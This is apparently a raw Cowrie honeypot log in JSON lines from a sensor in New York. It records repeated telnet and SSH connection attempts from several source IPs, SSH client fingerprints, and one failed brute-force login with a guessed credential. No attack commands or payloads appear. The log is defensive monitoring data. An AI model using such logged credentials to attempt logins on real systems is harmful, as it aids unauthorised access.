{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48627,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b23d6f6b31e","protocol":"telnet","message":"New connection: 38.60.198.128:48627 (159.203.135.109:23) [session: 9b23d6f6b31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:31.292997Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54558,"dst_ip":"159.203.135.109","dst_port":23,"session":"751a6352a78d","protocol":"telnet","message":"New connection: 38.60.198.128:54558 (159.203.135.109:23) [session: 751a6352a78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:36.230273Z"}
{"eventid":"cowrie.session.closed","duration":38.53599572181702,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:39.047294Z","src_ip":"192.211.53.160","session":"6a7fe9db9c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.08130383491516,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:48.734599Z","src_ip":"38.60.198.128","session":"17b76461b497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41028,"dst_ip":"159.203.135.109","dst_port":23,"session":"758faea4c801","protocol":"telnet","message":"New connection: 38.60.198.128:41028 (159.203.135.109:23) [session: 758faea4c801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:48.793612Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42276,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe054f314158","protocol":"telnet","message":"New connection: 38.60.198.128:42276 (159.203.135.109:23) [session: fe054f314158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:50.181695Z"}
{"eventid":"cowrie.session.closed","duration":43.03929138183594,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:50.368295Z","src_ip":"38.60.198.128","session":"cc4f7d22eeaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45326,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee7c49b2d2e","protocol":"telnet","message":"New connection: 38.60.198.128:45326 (159.203.135.109:23) [session: dee7c49b2d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:52.830475Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7bf9afd7d67","protocol":"telnet","message":"New connection: 45.81.23.16:56478 (10.17.0.5:23) [session: f7bf9afd7d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:56.770237Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49449,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6e8b0ed05c","protocol":"telnet","message":"New connection: 38.60.198.128:49449 (159.203.135.109:23) [session: 5c6e8b0ed05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:57.701303Z"}
{"eventid":"cowrie.session.closed","duration":37.575977087020874,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:58.732548Z","src_ip":"38.60.198.128","session":"cb1d28c3711f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51308,"dst_ip":"159.203.135.109","dst_port":23,"session":"b168b3aec107","protocol":"telnet","message":"New connection: 38.60.198.128:51308 (159.203.135.109:23) [session: b168b3aec107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:59.296539Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48838,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5832d2f119","protocol":"telnet","message":"New connection: 38.60.198.128:48838 (159.203.135.109:23) [session: cf5832d2f119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:02.029457Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60944,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8c5923c0e7","protocol":"telnet","message":"New connection: 38.60.198.128:60944 (159.203.135.109:23) [session: ea8c5923c0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:06.313807Z"}
{"eventid":"cowrie.session.closed","duration":6.0083229541778564,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:08.037652Z","src_ip":"38.60.198.128","session":"cf5832d2f119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45650,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e2fa716b32a","protocol":"telnet","message":"New connection: 65.60.27.33:45650 (10.17.0.5:23) [session: 6e2fa716b32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:09.691943Z"}
{"eventid":"cowrie.session.closed","duration":43.72465372085571,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:15.017552Z","src_ip":"38.60.198.128","session":"9b23d6f6b31e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.78946614265442,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:22.019660Z","src_ip":"38.60.198.128","session":"751a6352a78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56450,"dst_ip":"159.203.135.109","dst_port":23,"session":"4db2ac82e58b","protocol":"telnet","message":"New connection: 38.60.198.128:56450 (159.203.135.109:23) [session: 4db2ac82e58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:28.500346Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55766,"dst_ip":"159.203.135.109","dst_port":23,"session":"62a2ea363216","protocol":"telnet","message":"New connection: 38.60.198.128:55766 (159.203.135.109:23) [session: 62a2ea363216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:28.915366Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59052,"dst_ip":"159.203.135.109","dst_port":23,"session":"5194c9b41cf6","protocol":"telnet","message":"New connection: 38.60.198.128:59052 (159.203.135.109:23) [session: 5194c9b41cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:29.784405Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60928,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f23a6a2155","protocol":"telnet","message":"New connection: 38.60.198.128:60928 (159.203.135.109:23) [session: 38f23a6a2155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:31.272419Z"}
{"eventid":"cowrie.session.closed","duration":2.2669098377227783,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:32.051200Z","src_ip":"38.60.198.128","session":"5194c9b41cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.913520336151123,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:32.413741Z","src_ip":"38.60.198.128","session":"4db2ac82e58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9fab88c33fb","protocol":"telnet","message":"New connection: 38.60.198.128:35928 (159.203.135.109:23) [session: b9fab88c33fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:33.977281Z"}
{"eventid":"cowrie.session.closed","duration":45.94732451438904,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:36.128896Z","src_ip":"38.60.198.128","session":"fe054f314158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.24879550933838,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:38.079152Z","src_ip":"38.60.198.128","session":"dee7c49b2d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.33371353149414,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:38.630148Z","src_ip":"38.60.198.128","session":"b168b3aec107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.71810460090637,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:41.488211Z","src_ip":"45.81.23.16","session":"f7bf9afd7d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.79437708854675,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:41.495556Z","src_ip":"38.60.198.128","session":"5c6e8b0ed05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48174,"dst_ip":"159.203.135.109","dst_port":23,"session":"2001eb478cca","protocol":"telnet","message":"New connection: 38.60.198.128:48174 (159.203.135.109:23) [session: 2001eb478cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:43.062185Z"}
{"eventid":"cowrie.session.closed","duration":38.86917424201965,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:45.182882Z","src_ip":"38.60.198.128","session":"ea8c5923c0e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51442,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6048f8dcf4","protocol":"telnet","message":"New connection: 38.60.198.128:51442 (159.203.135.109:23) [session: 8f6048f8dcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:45.709877Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51890,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a987ce8de54","protocol":"telnet","message":"New connection: 38.60.198.128:51890 (159.203.135.109:23) [session: 3a987ce8de54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:47.042064Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53082,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ffffa2fae7e","protocol":"telnet","message":"New connection: 38.60.198.128:53082 (159.203.135.109:23) [session: 5ffffa2fae7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:48.045376Z"}
{"eventid":"cowrie.session.closed","duration":40.39383292198181,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:50.085681Z","src_ip":"65.60.27.33","session":"6e2fa716b32a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56466,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff76c4d801e","protocol":"telnet","message":"New connection: 38.60.198.128:56466 (159.203.135.109:23) [session: 0ff76c4d801e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:52.747995Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56674,"dst_ip":"159.203.135.109","dst_port":23,"session":"e498eac1af54","protocol":"telnet","message":"New connection: 38.60.198.128:56674 (159.203.135.109:23) [session: e498eac1af54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:52.948733Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60564,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d09e6fc051e","protocol":"telnet","message":"New connection: 45.81.23.16:60564 (10.17.0.5:23) [session: 0d09e6fc051e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:53.618317Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":56522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e92d66458a1","protocol":"ssh","message":"New connection: 191.101.59.69:56522 (159.203.135.109:22) [session: 4e92d66458a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:54.083038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:57.014275Z","src_ip":"191.101.59.69","session":"4e92d66458a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:57.118382Z","src_ip":"191.101.59.69","session":"4e92d66458a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57620,"dst_ip":"10.17.0.5","dst_port":23,"session":"a230c8e05091","protocol":"telnet","message":"New connection: 38.54.119.93:57620 (10.17.0.5:23) [session: a230c8e05091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:46:59.621785Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42272,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f456f50e501","protocol":"telnet","message":"New connection: 38.60.198.128:42272 (159.203.135.109:23) [session: 6f456f50e501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:00.444410Z"}
{"eventid":"cowrie.session.closed","duration":6.835163116455078,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:00.453368Z","src_ip":"45.81.23.16","session":"0d09e6fc051e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd123","message":"login attempt [ubuntu/p@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:00.906826Z","src_ip":"191.101.59.69","session":"4e92d66458a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:02.325692Z","src_ip":"191.101.59.69","session":"4e92d66458a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.35403394699097,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:09.626373Z","src_ip":"38.60.198.128","session":"38f23a6a2155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.47808933258057,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:10.271569Z","src_ip":"38.60.198.128","session":"758faea4c801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.09433054924011,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:12.009619Z","src_ip":"38.60.198.128","session":"62a2ea363216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.66930818557739,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:12.646491Z","src_ip":"38.60.198.128","session":"b9fab88c33fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8746f0247f8","protocol":"telnet","message":"New connection: 38.54.119.93:37994 (10.17.0.5:23) [session: a8746f0247f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:13.355642Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60712,"dst_ip":"159.203.135.109","dst_port":23,"session":"32f4657be6ae","protocol":"telnet","message":"New connection: 38.60.198.128:60712 (159.203.135.109:23) [session: 32f4657be6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:14.931654Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39700,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf2633b263c","protocol":"telnet","message":"New connection: 38.60.198.128:39700 (159.203.135.109:23) [session: 7bf2633b263c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:17.322407Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43158,"dst_ip":"159.203.135.109","dst_port":23,"session":"caed234cb4d0","protocol":"telnet","message":"New connection: 38.60.198.128:43158 (159.203.135.109:23) [session: caed234cb4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:18.474868Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43092,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ca17e300a87","protocol":"telnet","message":"New connection: 38.60.198.128:43092 (159.203.135.109:23) [session: 8ca17e300a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:19.439469Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":47764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a067cb0b25b1","protocol":"telnet","message":"New connection: 45.81.23.16:47764 (10.17.0.5:23) [session: a067cb0b25b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:19.447304Z"}
{"eventid":"cowrie.session.closed","duration":1.2242774963378906,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:20.663630Z","src_ip":"38.60.198.128","session":"8ca17e300a87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e5b990ccc93","protocol":"telnet","message":"New connection: 38.60.198.128:48608 (159.203.135.109:23) [session: 8e5b990ccc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:22.917422Z"}
{"eventid":"cowrie.session.closed","duration":41.40264940261841,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:24.464675Z","src_ip":"38.60.198.128","session":"2001eb478cca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.589837074279785,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:25.631777Z","src_ip":"38.60.198.128","session":"3a987ce8de54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35364,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5db198ff3d8","protocol":"telnet","message":"New connection: 45.81.23.16:35364 (10.17.0.5:23) [session: f5db198ff3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:27.027131Z"}
{"eventid":"cowrie.session.closed","duration":42.15543556213379,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:27.865232Z","src_ip":"38.60.198.128","session":"8f6048f8dcf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.806058883666992,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:33.253244Z","src_ip":"45.81.23.16","session":"a067cb0b25b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.89579176902771,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:33.844393Z","src_ip":"38.60.198.128","session":"e498eac1af54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.99724054336548,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:34.042527Z","src_ip":"38.60.198.128","session":"5ffffa2fae7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.028156757354736,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:38.472441Z","src_ip":"38.60.198.128","session":"6f456f50e501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39672,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d6c3be81b2c","protocol":"telnet","message":"New connection: 38.60.198.128:39672 (159.203.135.109:23) [session: 1d6c3be81b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:40.612273Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6afe156a932","protocol":"telnet","message":"New connection: 38.60.198.128:42880 (159.203.135.109:23) [session: a6afe156a932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:41.984716Z"}
{"eventid":"cowrie.session.closed","duration":42.530277252197266,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:42.151942Z","src_ip":"38.54.119.93","session":"a230c8e05091","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7188067436218262,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:42.330956Z","src_ip":"38.60.198.128","session":"1d6c3be81b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46200,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c565ea050b","protocol":"telnet","message":"New connection: 45.81.23.16:46200 (10.17.0.5:23) [session: 45c565ea050b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:49.825168Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52442,"dst_ip":"159.203.135.109","dst_port":23,"session":"55b193382f84","protocol":"telnet","message":"New connection: 38.60.198.128:52442 (159.203.135.109:23) [session: 55b193382f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:50.388294Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29052,"dst_ip":"10.17.0.5","dst_port":22,"session":"4125f51bc90e","protocol":"ssh","message":"New connection: 2.57.121.25:29052 (10.17.0.5:22) [session: 4125f51bc90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:50.416229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:50.420399Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
